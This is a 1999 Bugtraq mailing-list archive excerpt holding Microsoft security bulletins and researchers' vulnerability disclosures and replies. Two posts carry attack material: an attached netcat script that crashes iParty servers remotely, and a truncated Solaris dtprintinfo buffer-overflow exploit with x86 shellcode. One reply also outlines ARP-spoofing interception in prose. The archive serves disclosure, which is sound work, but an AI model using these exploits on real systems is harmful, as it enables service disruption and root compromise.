Fri, 7 May 1999 21:58:18 -0700

The following is a Security  Bulletin from the Microsoft Product Security
Notification Service.

Please do not  reply to this message,  as it was sent  from an unattended
mailbox.
                    ********************************

Microsoft Security Bulletin (MS99-013)
--------------------------------------

Solution Available for File Viewers Vulnerability

Originally Posted: May 7, 1999

Summary
=======
Microsoft has identified a vulnerability that occurs in some file viewers
that ship as part of Microsoft (r) Internet Information Server and Site
Server. The vulnerability could allow a web site visitor to view, but not to
change, files on the server, provided that they knew or guessed the name of
each file and had access rights to it based on Windows NT ACLs.

Microsoft is releasing this security bulletin to inform customers of the
vulnerability and enable them to eliminate it immediately. Patches are being
developed for the affected file viewers, and will be available shortly. When
they are available, an update to this security bulletin will be released.

Issue
=====
Microsoft Site Server and Internet Information Server include tools that
allow web site visitors to view selected files on the server. These are
installed by default under Site Server, but must be explicitly installed
under IIS. These tools are provided to allow users to view the source code
of sample files as a learning exercise, and are not intended to be deployed
on production web servers. The underlying problem in this vulnerability is
that the tools do not restrict which files a web site visitor can view.

It is important to note several important points:
 - These file viewers are not installed by default under IIS.
   They are only installed under IIS if the user chooses to install
   the sample web files.
 - This vulnerability only allows a web site visitor to view files.
   There is no capability through this vulnerability to change files
   or add files to the server.
 - This vulnerability does not in any way bypass the Windows NT file
   permission ACLs. A web site visitor could only use these tools to
   view files whose ACLs allows them read access. The administrator of
   the web server determines the specific permissions for all files on
   the server.
 - The viewers can only be used to view files on the same disk partition
   as the currently-displayed web page. Databases such as those used by
   e-commerce servers are typically stored on a different physical drive,
   and these would not be at risk
 - The web site visitor would need to know or guess the name of each file
   they wished to view.

Specific steps that customers can take to immediately eliminate the
vulnerability are discussed below in What Customers Should Do. In addition,
Microsoft is developing updated versions of the file viewers and will
release them shortly.

While there are no reports of customers being adversely affected by this
vulnerability, Microsoft is proactively releasing this bulletin to allow
customers to take appropriate action to protect themselves against it.

Affected Software Versions
==========================
 - Microsoft Site Server 3.0, which is included with Microsoft Site
   Server 3.0 Commerce Edition, Microsoft Commercial Internet
   System 2.0, and Microsoft BackOffice Server 4.0 and 4.5
 - Microsoft Internet Information Server 4.0

What Microsoft is Doing
=======================
Microsoft has provided this bulletin to inform customers of specific steps
that they can take to immediately eliminate this vulnerability on their
servers. Microsoft is developing updated file viewers that fix the problem
identified, and will release an updated version of this bulletin when they
are available.

Microsoft also has sent this security bulletin to customers subscribing
to the Microsoft Product Security Notification Service. See
http://www.microsoft.com/security/services/bulletin.asp for more
information about this free customer service.

Microsoft has published the following Knowledge Base (KB) article on this
issue:
 - Microsoft Knowledge Base (KB) article Q231368,
   Solution Available for File Viewers Vulnerability,
   http://support.microsoft.com/support/kb/articles/q231/3/68.asp.
   (Note: It might take 24 hours from the original posting of this
   bulletin for the KB article to be visible in the Web-based
   Knowledge Base.)

What Customers Should Do
========================
Customers should take the following steps to eliminate the vulnerability on
their web servers:
 - Unless the affected file viewers are specifically required on the
   web site, they should be removed. The following file viewers are
   affected: ViewCode.asp, ShowCode.asp, CodeBrws.asp and Winmsdp.exe.
   Depending on the specific installation, not all of these files may
   be present on a server. Likewise, there may be multiple copies of
   some files, so customers should do a full search of their servers
   to locate all copies.
 - In accordance with standard security guidelines, file permissions
   should always be set to enable web visitors to access only the files
   they need, and no others. Moreover, files that are needed by web
   visitors should provide the least privilege needed; for example,
   files that web visitors need to be able to read but not write should
   be set to read-only.
 - As a general rule, sample files and vroots should always be deleted
   from a web server prior to putting it into production. If they are
   needed, file access permissions should be used to regulate access to
   them as appropriate

More Information
================
Please see the following references for more information related to this
issue.
 - Microsoft Security Bulletin MS99-013,
   Solution Available for File Viewers Vulnerability
   (The Web-posted version of this bulletin),
   http://www.microsoft.com/security/bulletins/ms99-013.asp.
 - Microsoft Knowledge Base (KB) article Q231368,
   Solution Available for File Viewers Vulnerability,
   http://support.microsoft.com/support/kb/articles/q231/3/68.asp.

Obtaining Support on this Issue
===============================
If you require technical assistance with this issue, please contact
Microsoft Technical Support. For information on contacting Microsoft
Technical Support, please see
http://support.microsoft.com/support/contact/default.asp.

Acknowledgments
===============
Microsoft acknowledges WebTrends (www.webtrends.com) for discovering this
vulnerability and reporting it to us.

Revisions
=========
 - May 07, 1999: Bulletin Created.

For additional security-related information about Microsoft products, please
visit http://www.microsoft.com/security


--------------------------------------------------------------------

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED "AS IS"
WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS ALL WARRANTIES, EITHER
EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL MICROSOFT CORPORATION OR ITS
SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,
INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN
IF MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION OR
LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE
FOREGOING LIMITATION MAY NOT APPLY.

(c) 1999 Microsoft Corporation. All rights reserved. Terms of Use.

   *******************************************************************
You have received  this e-mail bulletin as a result  of your registration
to  the   Microsoft  Product  Security  Notification   Service.  You  may
unsubscribe from this e-mail notification  service at any time by sending
an  e-mail  to  MICROSOFT_SECURITY-SIGNOFF-REQUESTANNOUNCE.MICROSOFT.COM
The subject line and message body are not used in processing the request,
and can be anything you like.

For  more  information on  the  Microsoft  Security Notification  Service
please    visit    http://www.microsoft.com/security/bulletin.htm.    For
security-related information  about Microsoft products, please  visit the
Microsoft Security Advisor web site at http://www.microsoft.com/security.

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: wu-ftpd exploit fix

Re: wu-ftpd exploit fix

Jordan Ritter (jpr5DARKRIDGE.COM)
Fri, 7 May 1999 14:44:10 -0400

On Thu, 6 May 1999, Adam Maloney wrote:

> We evaluated the source to the exploit, and made some changes to
> realpath.c (found in the /src directory of the wu-ftpd tarball)

hate to tell you this, but these things have already been fixed, and by
several in parallel.  latest vr series ftpd, with redhat's changes merged
in:

ftp://ftp.vr.net/pub/wu-ftpd/wu-ftpd-2.4.2-vr17.tar.gz


> Interestingly enough, from the code that we saw, there was already
> code in the source to handle buffer overflows, but it wasn't
> implemented for all of the functions.

not to mention path-filter


Jordan Ritter
Network Security Engineer
Netect/Bindview Corp  Boston, MA

"Quis custodiet ipsos custodes?"

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: MSIE 5 favicon bug

Re: MSIE 5 favicon bug

Flavio Veloso (flaviovsCENTROIN.COM.BR)
Fri, 7 May 1999 20:24:45 -0300

On Fri, 7 May 1999, Jason wrote:

	(...)
> "The request for the favicon.ico file is first done on the same path of the
> current URL. If the file is not found, MSIE 5 will backup one directory in
> the directory hierarchy and try again. It will do this until it finds the
> file or reaches the web server root (e.g. if you try to bookmark this page,
> MSIE 5 will look for favicon.ico in
> http://web.cip.com.br/flaviovs/sec/favicon/,
> http://web.cip.com.br/flaviovs/sec/, http://web.cip.com.br/flaviovs/ and
> http://web.cip.com.br/)."
>
>     My experience is based on the following platform information:
>
>         Windows 98 with all available updates (3717
>         MSIE 5: 5.00.2014.0216IC 128-bit
>
>     Contrary to the information given at the cited URL, my best attempts at
> recreating this alleged phenomenon have been futile. In addition, I am
> fairly confident, based on every log analysis I have performed, that this is
> wrong.
	(...)

Hi.

You're absolutely right. Actually I didn't test that and trusted in
the information given by Apacheweek (see
http://www.apacheweek.com/issues/99-04-09).

I'm fixing the page now.

--
Flavio

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: KKIS.05051999.003b

Re: KKIS.05051999.003b

Don Lewis (Don.LewisTSC.TDK.COM)
Fri, 7 May 1999 17:21:24 -0700

On May 6,  2:10pm, Kevin Day wrote:
} Subject: Re: KKIS.05051999.003b
} > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Informations ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
} >  Report title        : Security problem with sockets in FreeBSD's
} >                        implementation of UNIX-domain protocol family.
} >  Problem found by    : Lukasz Luzar (lluzarsecurity.kki.pl)
} >  Report created by   : Robert Pajak (shadowsecurity.kki.pl)
} >                        Lukasz Luzar (lluzarsecurity.kki.pl)
} >  Raport published    : 5th May 1999
} >  Raport code         : KKIS.05051999.003.b
} >  Systems affected    : FreeBSD-3.0 and maybe 3.1,
} >  Archive             : http://www.security.kki.pl/advisories/
} >  Risk level          : high
} >
} > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Description ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
} >   As you know, "The UNIX-domain protocol family is a collection of protocols
} >  that provides local interprocess communication through the normal socket
} >  mechanism. It supports the SOCK_STREAM and SOCK_DGRAM soceket types and uses
} >  filesystem pathnames for addressing."
} >  The SOCK_STREAM sockets also supports the communication of UNIX file
} >  descriptors through the use of functions sendmsg() and recvmsg().
} >   While testing UNIX-domain protocols, we have found probable bug in
} >  FreeBSD's implementation of this mechanism.
} >   When we had run attached example on FreeBSD-3.0 as local user, system
} >  had crashed imediatelly with error "Supervisor read, page not present"
} >  in kernel mode.
} >
}
} Here's my testing so far:
}
} 2.2.2 - Vulnerable
} 2.2.6 - Vulnerable
} 2.2.8 - Vulnerable
} 3.1-RELEASE - Ran 15 minutes, no crash.

I'd be willing to bet that 3.0-RELEASE is also vulnerable.  I believe
Matt Dillon fixed this earlier this year in revisions 1.38/1.39 (-CURRENT
branch January 21, 1999) and 1.37.2.1 (RELENG_3 branch February 15, 1999) of
sys/kern/uipc-usrreq.c.  The RELENG_3 branch fix was committed just before
3.1-RELEASE.

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Infosec.19990305.macof.a

Re: Infosec.19990305.macof.a

Alan Cox (alanLXORGUK.UKUU.ORG.UK)
Sat, 8 May 1999 03:17:47 +0100

> IEEE 802.1d isn't much use in deciding which option
> is best.

IEEE 802.1d is of questionable value anyway. Grep the
standard for the word security. Spanning tree used maliciously
is spectacularly effective when you decide to elect yourself
the root of the tree.

> Fixes are to activate "port security", which deactivates
> a port if its MAC address changes.  This limits the
> DoS to one machine, which may still be worthwhile
> if the machine runs an attractive service.  It is
> costly to administer in a large network.

Your security is still totally illusionary. Treat a switch
as a network accelerator thats all. Any security consultant who talks
about switches as a security feature you should offer to
sell a bridge too (london bridge that is).

The only time the switch helps is if it has IP level filters

> Networks with trees of switches will see multiple traps
> as MAC addresses changes, so this option is usually
> only enabled on switches at the edge.

Be careful the bridge handles this right. You can trash some
with trap bombs too  - its often loading the on board CPU down
to handle an SNMP trap and that in many bridges clobbers some
of the hardware assisted performance badly.

> access areas (computing labs, etc) on their own IP subnets.
> These areas usually require significant IP filtering
> in any case.  The effect is to limit link-level DoS attacks
> initiated from a public keyboard to a single physical area.

Sort of.

Given nodes A and B talking IP away from the public lab. Ping A, ping
B. Note their mac addresses. Send A a regular stream of ARPs claiming B
has moved to your address. Send B a stream of frames claiming A has
moved to your address. Sit in the middle rewriting destination headers.
Enjoy.

You are using strong crypto on your network aren't you 8)

Alan

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: iParty Daemon Vulnerability w/ Exploit Code (worse than thought?)

iParty Daemon Vulnerability w/ Exploit Code (worse than thought?)

wh00t X (bugtraq2HOTMAIL.COM)
Sat, 8 May 1999 13:11:34 EDT

This is a multi-part message in MIME format.

------=_NextPart_000_e6987ad_6338d761$45c2e550
Content-type: text/plain; format=flowed;

Hi,

   iParty, by Intel Experimental Technologies Department, (unofficial
information source at http://www.bumpkinland.com/iparty/), is a small voice
conferencing program, which includes a server daemon in the download. It is
handy for quick internet voice chat, but the server can be killed by sending
a large amount of extended characters to the server port, which is 6004 by
default, without being logged. The daemon either crashes quietly or GPF
(varies from box to box).
   I've been told an advisory of some sort has already been released for
this particular vulnerability but I believe the matter needs further
attention because:

1. While there are other newer and better voice conferencing programs out,
iParty continues to be widely used.
2. This vulnerability may be worse than thought: I tested my program
(attached to message) against 4 random Windows 95/98 boxes with the daemon
running, and after 2 or 3 crashes in a row, on top of crashing the iParty
daemon, some experienced disconnection from the internet, ICQ and/or
Rnaapp.exe, and one was even forced to reboot after the Rnaapp.exe crash.

Thanks,
Ka-wh00t


_______________________________________________________________
Get Free Email and Do More On The Web. Visit http://www.msn.com
------=_NextPart_000_e6987ad_6338d761$45c2e550
Content-Type: text/plain; name="ippooper.sh"
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename="ippooper.sh"

#!/bin/sh
# iParty Pooper by Ka-wh00t (wh00tiname.com) - early May '99 - Created out of pure boredom.
# iParty is a cute little voice conferencing program still widely used (much to my surprise.)
# Unfortuneately, the daemon, that's included in the iParty download, can be shut down remotely.
# And in some circumstances, this can lead to other Windows screw-ups (incidents included internet
# disconnection, ICQ GPFs, Rnaapp crashes, etc.) Sometimes the daemon closes quietly, other times
# a ipartyd.exe GPF. DoSers will hope for the GPF. At time of this script's release, the latest
# (only?) version of iParty/iPartyd was v1.2
# FOR EDUCATIONAL PURPOSES ONLY.


if [ "$1" = "" ]; then
echo "Simple Script by Ka-wh00t to kill any iParty Server v1.2 and under. (ipartyd.exe)"
echo "In some circumstances can also crash other Windows progs and maybe even Windows itself."
echo "Maybe you'll get lucky."
echo ""
echo "Usage: $0 <hostname/ip> <port>"
echo "Port is probably 6004 (default port)."
echo ""
echo "Remember: You need netcat for this program to work."
echo "If you see something similar to 'nc: command not found', get netcat."
else
if [ "$2" = "" ]; then
echo "I said the port is probably 6004, try that."
exit
else
rm -f ipp00p
cat > ipp00p << _EOF_
$6ì]}tTÕµ?"Ìaœp/˜HÔD†0iAá½L%ÏÌ‚EBEÔð'*}ÒyÓÔ¥(3êz‹nÃuèÔj+¨°(Ö—Ö„d'‰™øZiXåËy7¡'``྽Ï	Cµ¶ïüÖʹçî³ÏÞçì½Ï>çÜE¢6‡â^ßî^v¯?ì^¯:ÂÆ{n"uí£Ç'g=o¨§„8ÂÓ'L5"ïé²±žá¤¸DRGÒIôlq„Y­g›»ÒiƒÆiÕ¾ëH¹H„w‹òá½²»Ô3ðlŽš*oÎ#ésC9m,

_EOF_
echo ""
echo "Sending kill..."
cat ipp00p | nc $1 $2
echo "Done."
rm -f ipp00p
fi
fi

------=_NextPart_000_e6987ad_6338d761$45c2e550--

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: MSIE 5 favicon bug

Re: MSIE 5 favicon bug

blake.mitchellAUTODESK.COM
Fri, 7 May 1999 15:46:13 -0700

Hey,

I happened to have IE5 installed on solaris:

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.5.1 sun4m; X11)

So I gave it a shot, it appears to not even attempt to get the favicon.ico
file. I even put in the URL
http://web.cip.com.br/flaviovs/sec/favicon/favicon.ico, but all I get is a
broken image icon. So anyway, no crash on solaris.

Blake

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: MSIE 5 favicon bug

Re: MSIE 5 favicon bug

Jason (listsplasmic.com)
Fri, 7 May 1999 17:45:18 -0500

Aloha.

    Below is an exact copy of the information found on the web site Mr.
Veloso provided us with:

"The request for the favicon.ico file is first done on the same path of the
current URL. If the file is not found, MSIE 5 will backup one directory in
the directory hierarchy and try again. It will do this until it finds the
file or reaches the web server root (e.g. if you try to bookmark this page,
MSIE 5 will look for favicon.ico in
http://web.cip.com.br/flaviovs/sec/favicon/,
http://web.cip.com.br/flaviovs/sec/, http://web.cip.com.br/flaviovs/ and
http://web.cip.com.br/)."

    My experience is based on the following platform information:

        Windows 98 with all available updates (3717
        MSIE 5: 5.00.2014.0216IC 128-bit

    Contrary to the information given at the cited URL, my best attempts at
recreating this alleged phenomenon have been futile. In addition, I am
fairly confident, based on every log analysis I have performed, that this is
wrong.

    This is most obvious by creating a large hierarchy of directories like
the following URL (note: there is nothing at this URL but an empty dir):

http://www.plasmic.com/~jason/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/

    I supposed that if what Flavio asserted was true, then IE5 would bombard
the server with a plethora of requests for 'favicon.ico' when I added it to
my 'Favorites'.

    Here is a sample of what was generated in my apache log file:

    I open up the apache-generated directory listing web page:
"GET /~jason/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/ HTTP/1.1" 200
733

    After bookmarking the site, IE tries to find favicon.ico in the
_current_ directory:
"GET /~jason/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/favicon.ico
HTTP/1.1" 404 8999

    Directly thereafter (probably virtually simultaneous connections), IE5
attempts to retrieve favicon.ico from the _root_ directory of my web server:
"GET /favicon.ico HTTP/1.1" 404 330

    There are no requests in between the ones shown above.

    Implications:

- This vulnerability may only be exploited by the owner of the current
directory or the owner of the document root. This does not diminish its core
significance, but is definitely a fundamental point in the understanding of
this bug.

- Adding 'Favorites' does not generate as much traffic or as many requests
as originally thought.


Regards,
Jason Sloderbeck


+===========================-------------------- - -  -  -   -    -
| University of Missouri/Kansas City - Computer Science/Telecom
|  hom: 816/452.8937  e: jslodercstp.umkc.edu  url: www.umkc.edu
| Plasmic Computer Systems - Chief Information Officer
|  off: 816/292.2870  e: jasonplasmic.com      url: www.plasmic.com
| Midwest Internet Services - Sr. Systems Administrator
|  cel: 816/820.9279  e: sloderbeckmwis.net    url: www.mwis.net
+===========================-------------------- - -  -  -   -    -

----- Original Message -----
From: Flavio Veloso <flaviovsCENTROIN.COM.BR>
To: <BUGTRAQnetspace.org>
Sent: Monday, May 03, 1999 2:06 PM
Subject: MSIE 5 favicon bug


> Hi folks.
>
> When MSIE 5 users bookmark a page, the browser will request a file
> named "favicon.ico" which is to be used in the "Favorites" menu of the
> browser. Unfortunately MSIE 5 doesn't check the file integrity and
> crash if faced with a bad-formed icon file.
>
> Upon crashing the stack gets filled with information from the icon
> file itself, so it may be possible to run code on the client machine,
> tough I didn't test it.
>
> Microsoft was notified twice about this issue via the "Report a Bug"
> form on their web site. The first time about one month ago, the second
> time about two weeks ago. I didn't receive back any reply.
>
> More information about this bug (plus another privacy issue about the
> "favicon.ico" file) is available at
> http://web.cip.com.br/flaviovs/sec/favicon/index.html.
>
> --
> Flavio
>

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Microsoft Security Bulletin (MS99-014)

Microsoft Security Bulletin (MS99-014)

aleph1UNDERGROUND.ORG
Sat, 8 May 1999 16:09:28 -0700

The following is a Security  Bulletin from the Microsoft Product Security
Notification Service.

Please do not  reply to this message,  as it was sent  from an unattended
mailbox.
                    ********************************

Microsoft Security Bulletin (MS99-014)
--------------------------------------

Patch Available for Excel 97 Virus Warning Vulnerabilities

Originally Posted: May 7, 1999

Summary
=======
Microsoft has released a patch that eliminates vulnerabilities in the Excel
97 virus warning mechanism. The patch is fully supported, and Microsoft
recommends that affected customers download and install it, if appropriate.

Issue
=====
Microsoft Excel 97 provides a feature that warns the user before launching
an external file that could potentially contain a virus or other malicious
software. This feature allows the user to weigh the risk of opening the
file, based on its origin, the network it is located on and the security
practices in operation there, the sensitivity of the data on the user's
computer, and other factors.

However, certain scenarios have been identified that could be misused to
bypass the warning mechanism. In general, they require the use of
infrequently-combined features and commands, and are unlikely to be
encountered in normal use. This patch addresses these issues so that they
cannot be taken advantage of by a malicious user.

While there are no reports of customers being adversely affected by any of
the vulnerabilities eliminated by the patch, Microsoft is proactively
releasing the patch to allow customers to take appropriate action to protect
themselves against it. These fixes are already built into Excel 2000 and
users of that product will not need to download this patch.

Affected Software Versions
==========================
 - Microsoft Excel 97

What Microsoft is Doing
=======================
Microsoft has released patches that fix the problem identified. The patches
are available for download from the sites listed below in What Customers
Should Do.

Microsoft also has sent this security bulletin to customers subscribing
to the Microsoft Product Security Notification Service. See
http://www.microsoft.com/security/services/bulletin.asp for more
information about this free customer service.

Microsoft has published the following Knowledge Base (KB) article on this
issue:
 - Microsoft Knowledge Base (KB) article Q231304,
   Patch Available for Excel 97 Virus Warning Vulnerabilities,
   http://support.microsoft.com/support/kb/articles/q231/3/04.asp.
   (Note: It might take 24 hours from the original posting of this bulletin
   for the KB article to be visible in the Web-based Knowledge Base.)

What Customers Should Do
========================
Microsoft highly recommends that customers evaluate the degree of risk that
this vulnerability poses to their systems and determine whether to download
and install the patch. The patch can be found at:
 - http://officeupdate.microsoft.com/downloaddetails/xl8p6pkg.htm

More Information
================
Please see the following references for more information related to this
issue.
 - Microsoft Security Bulletin MS99-013,
   Patch Available for Excel 97 Virus Warning Vulnerabilities
   (the Web-posted version of this bulletin),
   http://www.microsoft.com/security/bulletins/ms99-013.asp.
 - Microsoft Knowledge Base (KB) article Q231304,
   Patch Available for Excel 97 Virus Warning Vulnerabilities,
   http://support.microsoft.com/support/kb/articles/q231/3/04.asp.

Obtaining Support on this Issue
===============================
If you require technical assistance with this issue, please contact
Microsoft Technical Support. For information on contacting Microsoft
Technical Support, please see
http://support.microsoft.com/support/contact/default.asp.

Revisions
=========
 - May 7, 1999: Bulletin Created.


For additional security-related information about Microsoft products, please
visit http://www.microsoft.com/security


--------------------------------------------------------------------

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED "AS IS"
WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS ALL WARRANTIES, EITHER
EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL MICROSOFT CORPORATION OR ITS
SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,
INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN
IF MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION OR
LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE
FOREGOING LIMITATION MAY NOT APPLY.

(c) 1999 Microsoft Corporation. All rights reserved. Terms of Use.

   *******************************************************************
You have received  this e-mail bulletin as a result  of your registration
to  the   Microsoft  Product  Security  Notification   Service.  You  may
unsubscribe from this e-mail notification  service at any time by sending
an  e-mail  to  MICROSOFT_SECURITY-SIGNOFF-REQUESTANNOUNCE.MICROSOFT.COM
The subject line and message body are not used in processing the request,
and can be anything you like.

For  more  information on  the  Microsoft  Security Notification  Service
please    visit    http://www.microsoft.com/security/bulletin.htm.    For
security-related information  about Microsoft products, please  visit the
Microsoft Security Advisor web site at http://www.microsoft.com/security.

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Infosec.19990305.macof.a

Re: Infosec.19990305.macof.a

Alan Cox (alanLXORGUK.UKUU.ORG.UK)
Sun, 9 May 1999 14:53:35 +0100

> Well, um, actually it is supposedly possible to pre-program some
> switches with the MACs of the host(s) it should see on a given segment.

Yes, which makes little odds

> Assuming you've done this, and that it's possible to stop the switch
> from learning new MACs (I've not yet tried this myself), it should make

Which isnt needed

> many of the attacks described to date much more difficult, if not
> impossible.

It stops some of the basic spanning tree attacks

> In addition the switch *is* an extra level of defense, even if it's not
> 100% guaranteed, as it does prevent trivial sniffing (as anyone who grew
> up diagnosing Ethernet problems with packet sniffers can tell you!).

It works the other way. The switch stops the administrator seeing the
games I'm playing across other ports. Crackers hide behind switches. They
unicast the attack arps, they redirect the traffic and admins on another
segment don't even see a change..

--
With trembling hands he unfurled the ancient cracked parchment, this was
the place, it had to be. Uncertainly he began to mumble the chant "rdbms,
sql , third normal formal form, java,  table, scalable". Something moved..
>From outside they heard a scream and a thud. The sales department had awoken

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Infosec.19990305.macof.a

Re: Infosec.19990305.macof.a

Greg A. Woods (woodsMOST.WEIRD.COM)
Sat, 8 May 1999 23:46:01 -0400

[ On Saturday, May 8, 1999 at 03:17:47 (+0100), Alan Cox wrote: ]
> Subject: Re: Infosec.19990305.macof.a
>
> Your security is still totally illusionary. Treat a switch
> as a network accelerator thats all. Any security consultant who talks
> about switches as a security feature you should offer to
> sell a bridge too (london bridge that is).
>
> The only time the switch helps is if it has IP level filters

Well, um, actually it is supposedly possible to pre-program some
switches with the MACs of the host(s) it should see on a given segment.
Assuming you've done this, and that it's possible to stop the switch
from learning new MACs (I've not yet tried this myself), it should make
many of the attacks described to date much more difficult, if not
impossible.

In addition the switch *is* an extra level of defense, even if it's not
100% guaranteed, as it does prevent trivial sniffing (as anyone who grew
up diagnosing Ethernet problems with packet sniffers can tell you!).

--
							Greg A. Woods

+1 416 218-0098      VE3TCP      <gwoodsacm.org>      <robohack!woods>
Planix, Inc. <woodsplanix.com>; Secrets of the Weird <woodsweird.com>

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: OpenLinux 2.2: LISA install leaves root access without password

OpenLinux 2.2: LISA install leaves root access without password

Andrew McRory (amaccMAILER.ORG)
Sat, 8 May 1999 23:46:40 -0400

Hello,

I believe I've found a bug in the installation process of OpenLinux 2.2
when using the LISA boot disk. During the installation a temporary passwd
file is put on the new file system containing the user "help" set uid=0
gid=0 and no password. Once you are prompted to set the root password and
default user password a new passwd and shadow file is created yet the help
user is left in the shadow file with, you guessed it, no password... Here
are the offending entries:

/etc/passwd
        help:x:0:0:install help user:/:/bin/bash

/etc/shadow
        help::10709:0:365:7:7::

Anyone who installed OpenLinux 2.2 using the LISA boot disk should check
their password file now ;-)

I found this using a cdrom I made from a mirror of the mirror at
ftp.tux.org. Just to make sure I wasn't mixed up I redownloaded the
install.144 file from ftp.calderasystems.com and tried again. Same thing.
The install disk is version 137 dated 26Mar99 (displayed on the boot
message).

I wrote Caldera a message late in the day Friday regarding this bug but
haven't heard back from anyone. I've tried to resist posting this until I
hear back but I really feel people should know now!!

PS: I'm not sure if Lizard, the graphical installation method, has this
problem. It crashes before it does much here.... that's why I tried LISA.

Thanks,



Andrew McRory - amacclinuxsys.com ***********************************
Linux Systems Engineers / The PC Doctors                             *
3009-C West Tharpe Street - Tallahassee, FL 32303                    *
Voice 850.575.7213 ***************************************************

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Bookmarks security vulnerabilities in both Internet Explorer 5.0

Bookmarks security vulnerabilities in both Internet Explorer 5.0

Georgi Guninski (joroNAT.BG)
Sun, 9 May 1999 17:34:10 +0300

There is a design flaw in both Internet Explorer 5.0 and Netscape
Communicator 4.51 Win95
(guess all 4.x versions of both browsers are vulnerable too) in the way
they handle
bookmarks.
The problem arises if the user bookmarks (adds to favorites) and later
chooses a specially designed
"javascript:" URL. When the bookmark is chosen later, the JavaScript
code in it
is executed in the context (the same domain and protocol) of the
document
opened prior to choosing the bookmark. So, the JavaScript code has
access to
documents in the same domain. An interesting case is choosing the
bookmark
when the active document is a local file (the protocol is "file:") -
then the
JavaScript code has access to local files and directories.
The vulnerabilities are more serious for Internet Explorer 5.0.

Some of the vulnerabilities are:

 For Internet Explorer 5.0:
  Reading local files if the filename is known;
  Reading files in the domain of the active document (even if the web
server is blocked by a firewall);
  Reading links in the active document and in documents in the same
domain;
  Web spoofing of documents in the domain of the active document;

  Demonstration is available at: http://www.nat.bg/~joro/favorites.html

 For Netscape Communcator 4.51:
  Browsing local directories;
  Reading local files in the directory of the active document;
  Reading links in the active document and in documents in the same
domain;
  Web spoofing of documents in the domain of the active document;

  Demonstration is available at: http://www.nat.bg/~joro/bookmarks.html

Workaround: Disable JavaScript or do not bookmark untrusted pages

Georgi Guninski
 http://www.nat.bg/~joro
 http://www.whitehats.com/guninski

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Possible DOS in WinNT RAS (PPTP)

Re: Possible DOS in WinNT RAS (PPTP)

Simon Helson (simonCONCEPTS.CO.NZ)
Sun, 9 May 1999 12:08:38 +1200

Hi all again....

please excuse the lateness of this follow up - I am on holiday and not able
to get to a pc often....

After more digging, and after reading the various posts on this list, I have
found a pattern...

As always - the golden rule is, apply the service pack after breathing on
your NT server. we re-applied SP4 and the vunrability disappeared.

Cheers to all who helped me get to the bottom of this...

Simon.

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Solaris2.6,2.7 dtprintinfo exploits

Solaris2.6,2.7 dtprintinfo exploits

UNYUNShadowPenguin ("UNYUNShadowPenguin")
Mon, 10 May 1999 02:12:29 JST

Hello.

"dtprintinfo" is suid program, the stack buffer can be overflowed by '-p'
option. I made an exploit program that can get root for Intel edition of
Solaris2.6 and Solaris 2.7.
Please test it.
If you test this program, please set DISPLAY environment correctly
before execution.

/*========================================================================
   ex_dtprintinfo.c Overflow Exploits( for Intel x86 Edition)
   The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4thusa.net)
  ========================================================================
*/
static char             x[1000];
#define ADJUST          0
#define STARTADR        621
#define BUFSIZE         900
#define NOP             0x90
unsigned long ret_adr;
int     i;
char exploit_code[] =
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
